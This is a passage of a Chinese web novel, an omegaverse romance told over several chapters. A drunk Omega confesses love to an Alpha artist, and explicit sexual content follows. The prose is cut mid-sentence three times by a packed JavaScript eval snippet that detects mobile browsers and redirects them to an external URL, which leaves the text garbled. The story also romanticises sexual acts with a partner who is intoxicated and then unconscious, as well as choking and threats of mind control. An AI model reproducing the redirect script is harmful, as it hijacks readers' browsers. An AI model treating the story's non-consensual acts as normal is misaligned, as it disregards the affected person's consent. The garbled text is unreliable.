商随回过神,本来想直接否认,又临时起了逗弄的心思:“你觉得呢?” 时绮安静片刻,直截了当道:“你不准喜欢。” 他说话的同时又准备给自己倒酒,这才发现啤酒瓶空空如也。 商随刚才被他们聊天的内容吸引注意力,没来得及看见时绮一个人喝空了一瓶啤酒。 先前稍稍退下去的绯红又一次浮上时绮的双颊,比起在绘涧,他的状态似乎更为迷蒙,拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15252386|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着空掉的酒瓶满含期待倒了一分钟,终于确定里面没有一滴东西。 醉成这样。 难怪会想东想西,问出刚才那样奇奇怪怪的问题。 “小绮,不能再喝了,”商随见他还想再开一瓶酒,先一步抓住他,“会不舒服的。” 双腕被商随单手握着,仿佛被铐链锁住。 时绮努力挣扎许久无法挣脱,开始耍赖:“不要、不要,快给我!” 商随顿了一下,直接把酒瓶拿到一边,不让醉鬼看见。 时绮见他今天三番四次挑衅自己,终于小小地爆发了:“你要听我的话,我们家都是这样。” 时安从小教育他不听话的Alpha不能要,姜宥宁更是怂恿他找个家境差的。 对不起,爸爸、姐姐。 时绮闷闷不乐地想。 我喜欢的Alpha不仅家境不差,还要跟我对着干。 商随看他发脾气,知道自己不该在这时候笑,唇角却怎么都止不住:“我很听你的话呢。” “你才没有。”时绮见他还有心思笑,瞪了他一眼,“不写卖身契就算了,你抓我的手,而且你还……” 还不给亲。 时绮越想越不高兴,双手都被抓着,索性踩了他一脚:“你还没进门就想骑我头上。” 他踩完又觉得自己太过不讲理,心虚地望向商随。 却没想到,对方短暂怔愣后笑得止不住,仿佛发现什么极其好玩儿的事情。 趁时绮意识不清,商随开了个黄腔:“好啊,那你骑我。” 他说话时嗓音略微拖着,故意在其中两个字加重读音,怎么听都带有不怀好意的味道。 时绮没听出其中的暗示,只想着可以和他亲近。 稍微思考后,时绮从自己的座位站起来。 秦书赫订的位置是长桌配长沙发的大隔间,他俩坐在最里面。时绮踉跄着靠近商随。 他看了一眼,座位对商随来说有些局促,又长又直的腿没法完全伸开,不免觉得接下来要做的事情有些委屈他。 转念一想,反正商随都亲口让他骑。 时绮不再犹豫,弯腰勾腿,一屁股坐在他身上。 商随还没反应过来,怀里便是一沉。 软绵绵的身体压在他腿上,带着铃兰清冽的香味。时绮白金色的发丝从肩膀擦过,毛茸茸地蹭过锁骨,又倏忽抬头看他。 四目相对,时绮先一步道:“你自己说的,不许把我甩下去。” 他原本侧身并腿坐在商随身上,挣扎着尝试调整姿势,想岔开腿坐,更符合“骑”这个概念。 对面的应羽然回忆起过去的糗事,不由得笑道:“我高中还被傅思越威胁过,不许喜欢时绮。” “我去,真的假的?”林言听得嘎嘎直乐,“傅思越还干这些破事呢?” “但你们当初争这么厉害没用啊,我们宝宝谁也不喜欢。”林言边说边看向身侧,“现在不一样,现在他有喜欢的……时绮!大庭广众的,你这是干嘛呢?!” 时绮扭过头,双眼亮晶晶的:“商随让我——”骑他。 商随先一步捂住他的嘴:“乖,别说。” 醉酒以后,时绮整张脸都在发烫。 相对而言,商随的手指冰冰凉凉,萦绕着他喜欢的信息素气息,时绮停顿片刻,主动把脸埋进他的手心。 见时绮还想挣扎,商随不轻不重捏住他的腰。 “就这样坐,不要乱动。” 和刚才玩闹时不同,Alpha的语气不容拒绝,透出丝丝警告的意味。 时绮迟来地意识到他们的姿势分外暧昧,脸一热,老老实实靠坐着他不动。 应羽然憋了一晚,终于忍不住对商随道:“那个,哥,你有点眼熟。” 时绮嗤之以鼻:“你搭讪的方式好老土。” “?” 应羽然百口莫辩:“不是,我虽然卖腐,但我真的不是同性恋啊!” “那你一直盯着他干什么?”时绮说,“你一晚上看他好几次,别以为我没发现。” “我就是……” “哎等等等,为什么不能看?”林言在这时插话,“商随都没说什么,你这么介意干嘛?” 秦书赫反应过来,也跟着闹腾:“我哥这张脸,生来就是给人看的。” 初桃原本在吃东西,闻言放下筷子:“什么意思,逗猫是吧?加我一个。” 大家都笑嘻嘻的,甚至连商随也在笑。 好不爽。 时绮想。 他反驳道:“不准看,他是我一个人的。” 林言满脸慈爱:“宝宝,你好霸道。” 商随也跟着逗他:“我不是还没进门吗?你好像管不着。” 时绮张了张口,不知该如何反驳。 他说不过他们,干脆用行动表明态度,纤瘦的手臂攀附上商随的肩膀。 商随低头和他对上目光,时绮的眼眸犹如水洗过一样清透,定定看向他。 须臾过后。 时绮双手勾着商随的脖子,如同标记,吧唧一口亲在他脸上。 42.告白 商随原本笑吟吟的脸上流露出呆滞的神情,一时没能回过神。 “——我天,时绮!” 和在场其他人不同,林言知道他俩真实的关系,声音都快变调:“你知道你在做什么吗??” 他下意识看向商随,后者显然也十分意外。 半天没等到商随有所表示,时绮流露出失落的神色:“你不喜欢吗?” 转念一想,又觉得理直气壮。 亲都亲了,反正他不会后悔的。 “喜欢,”商随如梦初醒,望着时绮说,“我怎么会不喜欢。” 他不由自主回忆起刚才的感受。 软软的触感从脸颊蹭过,勾住脖颈的手臂带着铃兰香味,仿佛被花枝缠绕。 如果不是人太多,他都想追着吻回去。 他试探性地朝时绮伸出手,想摸一摸他的头。 刚一有所动作,时绮立即配合地往前蹭。 “我去,这还是时绮吗?他不会被什么东西附身了吧??” 秦书赫见鬼一样注视眼前的景象,注意到旁边的初桃举着手机:“小桃姐你拍下来了没?太可怕了!酒醒以后必须让他亲眼看看。” “拍着呢拍着呢,”初桃满脸笑容,觉得这个画面十分美妙,“哎哟,小绮真会撒娇。” 仿佛找到最舒服的位置,接下来的时间,时绮一直坐在商随腿上。 侧身坐容易滑下去,感觉时绮不太舒服地在他身上扭动,商随揽住时绮的腰,带着他调整好坐姿。 这个过程中,商随身上松松垮垮的针织衫敞得更开。时绮看见细长的银质项链微微晃动,压住锁骨处的纹身。 他一晚上都被这只蝴蝶吸引视线,心痒难耐,终于伸出手。 随着他的触摸,那一小片皮肤微微鼓起、又再度下陷,半融化的蝴蝶如同被赋予生命。 只是触碰还不够,时绮遵从心意,用指甲沿穿过一串蝴蝶的细线不轻不重刮过。 因为他不规矩的小动作,商随不由自主放缓呼吸,蝴蝶振翅的速度随之变慢。 他被撩拨得有些上火,原本是看时绮喝醉了不好计较,但对方不仅投怀送抱,还在他身上又亲又摸。 “干嘛呢。” 他说话时低下眸,这才看见时绮在笑。 小小的、可能连本人都没察觉到的笑容,好像只是玩闹一样的亲近,就令时绮很开心。 听出他声音里暗藏的危险,时绮抬头,有些不安地问:“你不舒服吗?” 他挠得太用力了? “……没事。” 商随的喉结滚了滚,不动声色移开视线。 我这是太舒服了。 见时绮这么乖,他不好冲他发泄。 但他们亲密地贴在一起,时不时就被摸摸蹭蹭,犹如某种甜蜜的折磨,商随感觉自己再待下去都快起反应了。 所幸秦书赫见时间差不多,适时提议结束聚餐,转战KTV。 时绮一直不甚清醒,秦书赫主动道:“哥,你们要不要先回去?他最好早点休息。” 林言很有经验:“没事,时绮一会儿就醒了,他的醉意一向来去匆匆。” “我要回去,”时绮却在这时插话,扯着商随的衣角晃了晃,显出一丝迫不及待,“我要跟他走。” “……”林言都觉得不忍直视,转而对商随道,“麻烦你照顾好他。” 带着醉醺醺的时绮去娱乐场所的确不合适,商随答应一声:“那我们先走了。” “拜拜啊。”应羽然也有些醉,他嫌闷,把戴了一晚的鸭舌帽摘下来,露出一头显眼的红发。 “你小心点,一会儿被拍了。” “没事,私人行程,只要不跟卖腐的队友一起出现,粉丝就不会介意的……”应羽然迷迷怔怔说完,又看向商随。 “但是哥,你真的有点眼熟。我们是不是在哪——”见过? 初桃先一步打断他:“闭嘴吧,等会儿小绮又要瞪你了。” 话音落下,某个人捕捉到自己的名字,敏锐地看过来。 应羽然见时绮朝自己歪了歪头,生怕他再说自己搭讪方式老土,双手合十道:“两位百年好合,我决无二心啊!” 时绮这才勉为其难收回目光。 和大家一一告别后,他跟着商随走向停车场。 积雪在脚下发出细碎声响,冬夜的寒风从耳畔呼啸而过,身体却轻飘飘的,像一朵蓬松柔软的云。 商随见他故意踩着雪堆边缘走,时不时就偷偷瞄自己一眼,打趣他道:“跟我回去这么开心?你还记得自己姓什么吗。” “嗯!”时绮扬起笑容,“我很开心。” 隔了片刻,他又问:“你不开心吗?” 他总觉得商随似乎一直在思考着什么,一晚上都有几分心不在焉。 商随摇摇头,柔声说:“只是觉得……” 他的声音在风里变得模糊,时绮没能听清楚最后几个字,正想追问。 商随冲他笑了笑:“我也很开心。” 灯光落入他的眼睛,融成一小片细碎而令人晕眩的光芒。 仿佛被施了迷魂咒,时绮晕晕乎乎跟着他上了车。直到一路进到商随家,才如梦初醒。 他从鞋柜里熟练地找到自己的毛茸拖鞋换上,又顺手将厚外套挂上玄关处的衣架。 商随给他找了解酒药,见时绮脸颊的红晕逐渐淡去,商随猜测他正慢慢变得清醒:“去洗澡吧?然后就睡觉。” 果然就像林言说的,时绮的醉意来得快、去得也快。 “哦,好。” 时绮答应下来,却半天没动。 商随开玩笑问:“你是要我帮你洗吗?” 时绮仰起脸,竟是透出几分期待:“可以吗?” 商随和这张纯洁得仿佛花骨朵一样的小脸对视片刻,在心里劝说自己,就跟帮猫猫狗狗洗澡一样。 就算时绮脱光了他也不会多想,即使触摸到隐秘的位置,那也是洗澡过程中无可避免的接触…… 得了吧。 等会儿时绮就要问是什么顶到他了。 商随自认为没法做到不为所动,摇了摇头。 时绮失望地撇撇嘴,接过换洗衣服去往浴室。 洗完澡后,时绮被水蒸气熏得有些迷糊,他想找一找商随在哪,途中不小心推开一扇门。 他停下脚步,须臾过后,才意识到这里是画室。 身后走廊的灯光照亮室内的一角,正对他的地方立着一副被遮盖的画。纯白画布垂落下来,仿佛隐藏危险和秘密的潘多拉魔盒。 易感期的时候,商随说自己新画了画,问他要不要看。 那时他强忍着好奇拒绝商随的提议,而现在…… 周围只有他一个人,干脆偷偷看一下? 脑海中一旦浮现出这个念头,时绮受到诱惑般一步步向前,不由自主伸出手。 伴随画布被揭开的轻微声响,时绮的瞳孔骤然聚缩。 囚笼、天使、黄金制的宝石铐链、色彩艳丽的花枝。 一切组合成扑面而来能把人吞没的爱与欲,借由画布,创作者内心黏稠而浓烈的情感展露得淋漓极致。 天使模糊的面容似曾相识,白金色发丝蒙上一层如梦似幻的光晕,小小的胭脂痣缀在雪白柔韧的大腿上。 时绮呆呆地望向眼前的画面,大腿处相同的位置倏然变得滚烫。 “小绮?” 一道熟悉的声音毫无征兆响起。 时绮猛地回过头。 站在门口的Alpha半张脸被阴影遮盖,只余下线条漂亮的嘴唇和下巴,眸光在黑暗中看不真切。 时绮却能感觉若有实质的视线掠过身后那副充满爱欲的画作,最终落在自己脸上。 “你自己掀开了?” 商随一边说,一边步入室内。 难以形容的压力浮上心头,慌乱之中,时绮抓在手里的画布掉落在地。 商随逆光站着,面容模糊不清,见他反应这么大,一步步往前走: “怎么了?你不会害怕我吧。” 时绮慢半拍想起来,商随曾经夸赞他像天使一样漂亮。 那时他以为只是单纯的比喻,现在才知道,这句夸赞隐藏有另一层含义。 “画上的人……是我吗?” “当然是你。”商随语气轻巧地说,“除了你不会有别人。” 时绮余光无意间瞥到墙角堆放的金属锁链,想到画上被铐链束缚的天使,身体不由自主一僵。 商随停在距离他几步之遥的地方:“这是我在易感期时画的,易感期会放大Alpha的阴暗面,我当时不受控……” 商随稍微停顿,连自己都觉得这种漂亮话可笑:“虽然可以用冠冕堂皇的借口敷衍过去,但我不想和你撒谎。” 时绮似乎想说什么,张了张口。 “就是这样,小绮,这是我最真实的欲望。” 不等时绮完全理解这番话的意思,商随又道:“我可以精神操控他人,你还记得那种感受吗?” “——看着我。” 时绮原本乱瞟的目光骤然定住,不受控制看向他。 “哪怕在特易期的Alpha当中,这项能力也十分罕见,它一度让我觉得……” 十分恶心。 多亏了你,我才改变想法。 他没有把这句话说出口,看着一言不发的时绮,以为他在恐惧。 商随说不出现在是什么心情。 一半是难过,他的确太过极端,无法被人理解才是常情。时绮大概从没想过他隐藏着这样阴暗的心思。 另一半则是无耻的、异常的兴奋。 怎么办呢。 现在就害怕,更可怕的还在后面。 事已至此,他索性将一切和盘托出:“你当时意乱情迷,产生想和我接近的心理,也是因为我借由精神操控对你催眠。” “不是!” 时绮立即确认。 他从刚才的震惊中缓过神来,听出商随话里自暴自弃的意味,毫不犹豫道:“如果一开始还能说有一部分是催眠,被那通电话打断之后,我就清醒过来了。” “所以……” 想用亲密的方式陪你度过易感期,都是我自愿的意思。 时绮不太好意思把后半截说出口,转而示意身后那幅画:“我不介意你说的那些,无论是易感期还是你本来的想法,我都不介意。” “……” 这下反应不过来的成了商随。 先前那副步步紧逼的神色从Alpha脸上消失,透露出截然相反的茫然。 时绮看着他的模样,有些想笑。 明明一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271289|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句话就能哄好,为什么表现得像是十恶不赦一样? “画很漂亮。” “刚才一直没说话,不是在生气、也不害怕,我只是太惊讶了,而且没想到你会突然进来。” 偷看别人的东西,他多多少少有些心虚。 时绮稍微停顿,眼睛亮晶晶地看向他:“你说的欲望,具体是什么意思啊?” 迎着他暗含期待的目光,商随沉默片刻。 他没有立即回答,而是突然提起一个看似与这一切无关的话题。 “你毕业那年收到的花束,是无尽夏、飞燕草和雪柳吗?”商随见时绮面露迷茫,换了个简单点的说辞,“蓝粉色的花束,装饰有白色的枝条。” “嗯?是。” 时绮不知道他为什么突然提这个,还是回忆道:“花束外面的装饰纸是鹅黄色。” 两年前的夏天,商随偶然回了一趟首都,恰好经过附中。 他还记得时绮说过自己就读于这所学校,很大可能从初中一直读到高中。 当初时绮被他易感期失控的表现吓走,四年以来,他从没想过去打扰对方。 但看见学校门口的花岗岩校名石、想到谁可能在这所学校里,他站在原地,略微出神。 一道热情的声音忽然打断他的思绪:“帅哥!要买花吗?” 商随转过头,看见一位花店店员:“今天是附中的毕业典礼,好多学生要来买毕业花束,一会儿花材都会被抢空的!你来得早,我们店里现在还有雪山玫瑰、洋桔梗、泰迪向日葵……对了,还有无尽夏。各种颜色都有,拍照很上镜哦!” 无尽夏? 或许是因为这个恰好出现的花名、也或许是店员太过热情,他莫名其妙走进花店,认真挑选花材,甚至指定好包装纸的颜色。 店员不断夸他审美好,挑的材料组合在一起,扎出来这束花特别好看。 她最后道:“祝收到花束的毕业生前程似锦、万事胜意!” 但这束花却并没有主人,真要说来,连他自己都不知晓时绮现在究竟是什么模样。 “你朋友拿到的那束花,是我给他的。”商随稍微停顿,“当时恰好路过。” 意识到商随说的是应羽然补给他、自己最后抱着拍毕业照的花束。时绮慢慢睁大眼睛,不可思议地问:“真的吗……!那束花是你给他的?!怎么会这么巧?” 其实还有更大的巧合。 那一天是两年前的夏至,也正好是六年前他和时绮初遇的日子。 时绮那位朋友阴差阳错当了一回信使,在特殊的日子,将花束送给他真正想赠予的人。 “我也觉得非常不可思议。”商随说出今晚时不时就心不在焉的原因,“听他说完,我一直在想这件事,感觉就像是……命运的闭环?” 他一直以为时绮害怕他,因而不敢见面、不敢打扰,如果早知道时绮已然忘记一切—— 至少他可以走到十八岁的时绮面前,像好心帮助的陌生人一样,将那束无尽夏送给他。 “你问我不开心吗?其实没有,只是有点遗憾。” “如果当初见到你的是我就好了。” 不想再要这样的阴差阳错,也不想隔着一段又一段光阴,徒劳感慨这一切是莫大的巧合。 商随说完,终于下定决心:“我有话跟你说。” 时绮紧随其后:“我也有话跟你说。” 不管了。 什么准备好的礼物,要等到浪漫的、恰好的时机。 没有比现在更好的时机。 想到这里,时绮的目光一错不错: “我喜欢你。” 商随几乎同时开口: “我一直喜欢着你。” 我讨厌雷雨频繁的盛夏,它们会让我想起那段不堪回首的过往。 但因为是在夏天遇见你的,开始对这个季节有了浪漫的印象。 从十七岁持续到现在。 我一直喜欢着你。 四目相对,意识到另一个人说了什么,时绮脱口而出:“和我在一起吧!” 商随慢他一步,说话时眼睫微颤,声音又轻又缓:“不要再离开我。” “商随?”时绮愣了一下,“你的眼睛……” 商随的眼眶微微发红,没有哭,只是承载了太多东西,仿佛稍不注意就会掉落。 时绮从来没见过一个人眼里有这么复杂难言的情绪,只能想到一个缘由:“你等了很久吗?” 商随笑了笑,随即慢慢点头: “我等了好久好久,久到我以为……我再也等不到了。” 他脸上明明挂着笑容,手指却不由自主颤抖,令人感觉他在害怕。 好像很幸福的时候就会患得患失,害怕这样美好得不可思议的日子一生仅此一次,往后再也不会降临。 原来在自己犹豫不决的时候,另一个人怀揣同样的心情,甚至更为忐忑不安。 时绮的心脏仿佛被无形的细线牵引,他张开双臂,紧紧拥抱住商随,握住他发颤的手。 “我比较迟钝,可能等待时间比你想象中久一些、或者更久一些。” “但只要我们相遇——” 就像猫总会被蝴蝶吸引。 “我一定会喜欢你、会迫不及待向你告白。” “在今天到来之前,等等我吧。” 43.奖励 在告白日到来之前,等等我吧。 时绮的语气格外坚定,他目不转睛同商随对视,和诺言般的告白如出一辙。 商随许久没有开口。 时绮并不知道,他说的等待横跨六年时间。 即使如此…… “好,”商随低声说,“我愿意等。” 因为这一刻,那些漫长而孤独的时光似乎也被赋予意义。 时绮的唇角微微上翘,眼里透出纯粹热烈的喜欢,忍不住跟他确认:“那我们就是真正意义上的情侣了?” 他试探性伸出手,轻轻触碰Alpha白玉似的脖颈,像在熟悉自己新获得的大型玩具。 “当然。” 商随朝他笑了笑,仿佛鼓励。 时绮胆子大了起来,抬手触碰自己朝思暮想的面容。商随配合地将脸颊埋进他的掌心,撒娇一般蹭了蹭。 相贴的皮肤传来酥酥麻麻的痒意,时绮的心脏好似被羽毛拂过,变得无比柔软。 商随却在这时撩起眼皮,直勾勾看向他。 他探出舌尖,在时绮骤然凝住的目光里,舔了舔Omega白皙的手掌。 如同撕下刚才那层纯情的表象,时绮耳畔传来充斥欲望的声音: “可我等得好辛苦,你才终于来到我身边。” 时绮耳根一热:“那……” “我要等待的奖励。” 不等时绮反应,商随推了他一把。 时绮毫无防备,连人带画撞上后方的墙壁。商随先一步用手掌垫在他的后脑,护住他的同时,也将他整个禁锢在自己怀中。 时绮被强行压在画上,感觉另一个人低下头,不禁有些慌乱:“等等,你的画——!” “易感期的时候,我在心里想,如果你选择揭开这幅画,我就把你压在画上……” 商随同他呼吸交缠,最后一个字微不可闻。 时绮没能听清:“压在画上干什么?” 见商随不说话,他猜了一个现在最想要的东西:“亲亲吗?” 商随怔愣片刻,对上面前这双藏不住事的眼睛,很快意识到时绮为什么满含期待地看向自己。 他笑了出来,应和道:“嗯,亲亲。” 时绮眨了一下眼。 他也想亲,商随也想亲。 太好了。 时绮顺势往前凑:“那我给你奖励。” 话音落下,他主动啄了一下商随的唇。 和他相贴的唇瓣格外柔软,带着淡淡的信息素香气。时绮条件反射轻轻吞咽,已经能想象到他口中甜蜜的味道。 半天没等到商随有所反应,时绮舔了舔他的唇瓣,小声催促:“你快张开嘴。” 商随却故意往后靠了靠:“这是奖励你还是奖励我?” “……” 心思被戳破,时绮哑然一瞬。 见商随笑意盎然看过来,他很快意识到对方在逗弄自己。时绮脸一热,恼羞成怒反问:“你难道就不想亲我吗?” 商随和他对视。后半句话时绮没说出来,但那双大而明亮的猫眼写满了威胁:如果敢说不想,你就死定了。 读出他的隐喻,商随眼里笑意加深。 怎么这么可爱的。 他没有回答,直接低头咬上时绮的唇。 时绮下意识分开唇缝,与主人故意戏弄他的做派不同,灵活柔软的舌头迫不及待钻进来,缠住他不放。 和商随接吻的滋味同记忆里一样美妙。电流从唇舌一路蹿过脊背、涌上大脑。 时绮慢半拍地意识到,这个人从今往后都属于他。 想到这里,他因为过量的快乐而头晕目眩,无意识从喉咙里发出甜丝丝的声音,像小猫在哼哼唧唧。 和他接吻的Alpha因为他的反应更为兴奋。商随的动作逐渐变得粗暴,顺势掐住他的脖颈。 时绮的呼吸很快变得急促,几乎喘不过气。 “唔…呃……!” 濒临窒息的感受放大了感官的刺激,他能清楚感觉到对方是如何细致吮吸他的唇瓣和舌肉,又反反复复研磨,令人快要融化。 亲吻的同时,Alpha灼热的手指摸上腺体的位置,轻轻一刮。 时绮浑身一颤。商随稍微停顿,竟是用掌心覆盖上那一片脆弱的肌肤,加重力气揉捏。 敏感的腺体哪经得起这样的刺激,时绮双颊泛红,连脖颈都浮现起瑰丽的颜色: “不、不要这样揉。” 他气息混乱地偏过头,商随却不顾他的抵抗,食髓知味地追上来亲吻。 时绮的后背紧贴那副色彩艳丽的画作,他还记得不能把画压坏,只能努力让自己站稳。 他双眼泛着水光,眼尾泛红。仿佛一簇小小的、任人采撷的铃兰花。 商随最后吮了一口他的唇瓣,原本揉捏后颈的手指捧起他的脸颊,指腹爱怜地摩挲。 时绮不由自主颤抖,却并不是出于恐惧,更像某种埋藏在Omega基因中的本能。 偏偏罪魁祸首在这时问:“怎么抖成这样,不舒服吗?” “……没有。” 时绮不好说自己腿软得站不住,见商随看过来,强撑着平静道:“你亲我就够刺激了,你揉我的腺体,而且你还伸腿。” 商随打量他片刻,膝盖忽然顶了一下。 时绮耳根爆红,挣扎着要从他的桎梏中离开,却被商随轻而易举压制:“喜欢还是讨厌?” “你不要问这个……!” “不许撒谎。” 时绮安静片刻:“喜欢。” “揉你的腺体呢?” 时绮张了张口,又羞耻又为难。 他刚刚才叫商随不要揉他的腺体,如果说真话,那他…… 商随亲了亲他通红的脸颊,尽管是非常亲昵的举止,却无端透出威胁的意味:“宝宝,我现在不想精神操控你,快告诉我。” 时绮惊悚了一瞬,没想到他还有这种招数。 他的目光落在Alpha骨节分明的手指上,修长白皙,关节处微微泛着粉,兼具力量感与美感。 时绮小幅度地吞了吞口水,一想到被这双手触碰,竟是感到一阵难以言喻的饥饿。 横竖逃不过,他自暴自弃道:“喜欢,你做什么我都喜欢!行了吧!” “我也喜欢你,”商随笑着啄了啄他的耳垂,像在安抚炸毛的小动物。 “……” “那我换个别的地方。”他诱哄着说,“不舒服就叫停,我们试试?” 不等时绮意识到这意味着什么,商随手指向下。 时绮睁大眼睛,脸红得快要滴血。 他双腿紧绷,再也顾不上会不会把画压坏。 …… “轻、轻一点,我站不稳了……!” “站不稳就坐着,”商随说,“坐我手上。” …… 正如画上被囚禁的天使一般,他无处可逃,只能软绵绵地瘫在商随怀里。 时绮的泪水顺着脸颊滴落,淌过尖尖的下巴。 他浑身上下透出娇艳欲滴的粉色,仿佛惹人怜爱的玩偶娃娃。 不知过去多久。 时绮双眼微微上翻,再也支撑不住。 因为身体里残留的酒精、解酒药、告白后大起大落的一系列刺激,时绮终于晕了过去。 失去意识前看见的最后一个画面,是天使大腿处小小的红痣。 - 再次睁开眼,时绮半梦半醒,不知自己身处何处。 身体深处传来些许酸痛,他动了动腿,迟钝地意识到这是因为什么。 时绮微微转过头,借着晨光看清楚枕边人的脸,昨晚的画面从脑海中一帧帧闪过。 雪夜、聚会、他和商随相互告白,而后被压在画上。 明明才确认关系,他跟商随就…… 腺体退化症令他与大多数Omega不同,往常只需要做最简单的部分。 虽然昨晚只用了手,但在这之前,时绮从没尝试过用类似的方式获取快乐。 难怪林言之前到处看Alpha的手,最高评价为一看就能抠死。 他差点儿真死商随手里了。 时绮脸上臊得厉害,尤其是不小心瞟到商随放在枕头上的手。 Alpha的手指在放松状态下微微曲起,即便如此,也能看出非常修长,清瘦有力的指关节格外明显。 昨晚是左手还是右手。 好像就是这一只……? 意识到自己一大早就盯着别人看,而且满脑子黄色废料,时绮连忙收回视线,想要下床。 还没挪出几步,腰上骤然一紧,他被人重新揽进怀里。 “想去哪?” 商随从后面靠上来,在他的颈侧说话,悦耳的嗓音透出刚睡醒的慵懒。 见他不动,商随的伸手揉捏他小小的耳垂。和他相比,Alpha的体格要高大许多,仿佛永远不知餍足的猛兽。 商随又问了一次:“想去哪,宝贝?” 时绮张了张口,有些不知道怎么面对他,干脆就这样背对着小声说:“想去洗漱。” “我抱你去。” 商随说完,不等他有所反应,下床绕到他这一边,将时绮单手抱起。 怕他坐不稳,商随用另一只手托了托他的臀部。时绮的屁股仿佛烧起来,如果不是商随抱得足够稳,他能直接栽下去。 慌乱之中,他手忙脚乱搂住商随的脖子。 “害羞什么?”商随看得好笑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303603|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手臂收紧,把他往上抬了抬,“昨晚又不是没碰过。” 时绮这才注意到,他只穿了一件睡袍。 暗红色的丝质睡袍缀有亮丝,随走动波光粼粼,领口半敞,露出锁骨处一串蝴蝶纹身,以及一大片肌肉紧实的胸膛。 时绮目不转睛看了好一会儿,偷偷舔了舔嘴唇。 他忽然想起什么:“你给我洗的澡吗?” “是呀,”商随语气亲昵,“为了把你洗干净,费了我不少功夫。” 他没想到时绮这么经不起折腾,晕得太快,最后只能自己抱着对方解决了一下。 现在看来,时绮好像完全没有记忆? 有点可惜,不过没有也好。 商随很没良知地想。 要是时绮知道自己昏迷的时候被做了什么,大概能直接从他怀里蹿出去。 他有意无意扫了眼时绮笔直纤长的腿:“腿不酸吗?” 时绮茫然地说:“好像很酸。” 腿应该酸吗? 不等时绮想清楚这个问题,他突然意识到帮忙洗澡意味着什么。 也就是说,商随把他看光了。 他却什么都没看见。 时绮心里不平衡,想说你也脱给我看,话到嘴边,又没法厚着脸皮说出口。 他被放在宽大的盥洗台上,商随拿起他的牙刷和牙杯。 “张嘴。” 时绮有点不适应:“我自己来就好。” “我想帮你。” 商随见他呆滞片刻,听话地张开嘴,先是仔细帮他刷了牙,又给他洗脸。 热毛巾覆盖上脸颊,轻轻摩擦,时绮长长的睫毛微微颤抖,总感觉自己被商随当成了玩具娃娃。 他一路被抱过来,没有拖鞋,只能暂时坐在冰凉的台面上,等待另一个人。 商随帮他洗漱完,自己懒洋洋地在一旁收拾。 时绮见他刷牙、洗脸,明明是个很平常的景象,因为身份的转变,时绮看什么都觉得有新鲜有趣。 不是朋友。 是男朋友。 一想到这个,高兴的同时,时绮忽然起了坏心思,故意挑起话题道:“我昨天喝了酒。” “嗯,现在还难受吗?” “我当时不清醒。”时绮瞅了一眼他的表情,假装镇定,“我不记得了,我们昨晚发生了什么?” 商随洗漱完,甩掉手上的水珠。 他转过脸,声音轻柔地说:“小绮,你在跟我开玩笑吧?” 一想到昨天被压在画上,再三求饶都没被放过,时绮本着小小报复一下商随的心理,微微皱起眉,流露出意外的神色:“我没开玩笑。” “如果我对你说了什么、或者做了什么,那我不是故意的。” 见商随脸上的笑意渐渐淡去,转而用那双撩人的眼睛一瞬不瞬盯着自己,时绮感到一阵莫大的压力。 不要怕。 昨晚都是商随欺负他,他就稍微欺负回去一下,不会太过火的。 时绮在心里给自己打完气,大着胆子说:“毕竟我们匹配度很高,我可能……情难自禁。” “你都忘掉吧。” “忘掉?”商随自言自语重复,“你再想想呢?” 时绮摇摇头:“我真的想不起来,我喝醉了会断片。” 商随却不顾他言语间的疏远,转而和他贴近。 他单手压住时绮的膝盖,站在他腿间,另一只手勾住时绮的下巴,慢慢摩挲。 商随的体温比他低一些,令时绮感觉自己仿佛被蛇类缠上:“快好好想想,我们之间发生什么了。” 这条美人蛇在他耳边嘶嘶吐信子:“不要忘哦,要完完整整想起来,不然我会生气的。” 时绮被他的目光看得脊背发寒,知道自己不知死活,却还是忍不住,光脚轻轻踹了他一下。 感受到他的抗拒,商随撇了撇唇,表情垮下来。 时绮被他委屈的反应可爱到,正要说我想起来了。 商随仿佛在看翻脸不认人的负心汉,声音更是透出一股哀怨:“你都要了我了,要对我负责。” “我要了你??” 时绮差点被呛住,心说我连你的身体都没看过,顿时匪夷所思:“我要你什么了?我不就要了你两根手指?” “……” “……” 商随轻笑一声。 “等等,”时绮开始冒冷汗,“那个,不是,你听我解释,我没有想耍你!我只是开个小玩笑,为我们交往第一天增添一点趣味……” “三根。” “什么?” “小绮好糊涂,明明是三根。”商随挑起唇角,凉飕飕地问,“要我帮你回忆一下吗?” “昨晚你哭得好惨呢。” 44.冰淇淋 迎着时绮呆滞的表情,商随单手捧起他的脸。 修长的手指慢条斯理摩挲,明明不算有威胁性的动作,却令时绮情不自禁打了个颤。 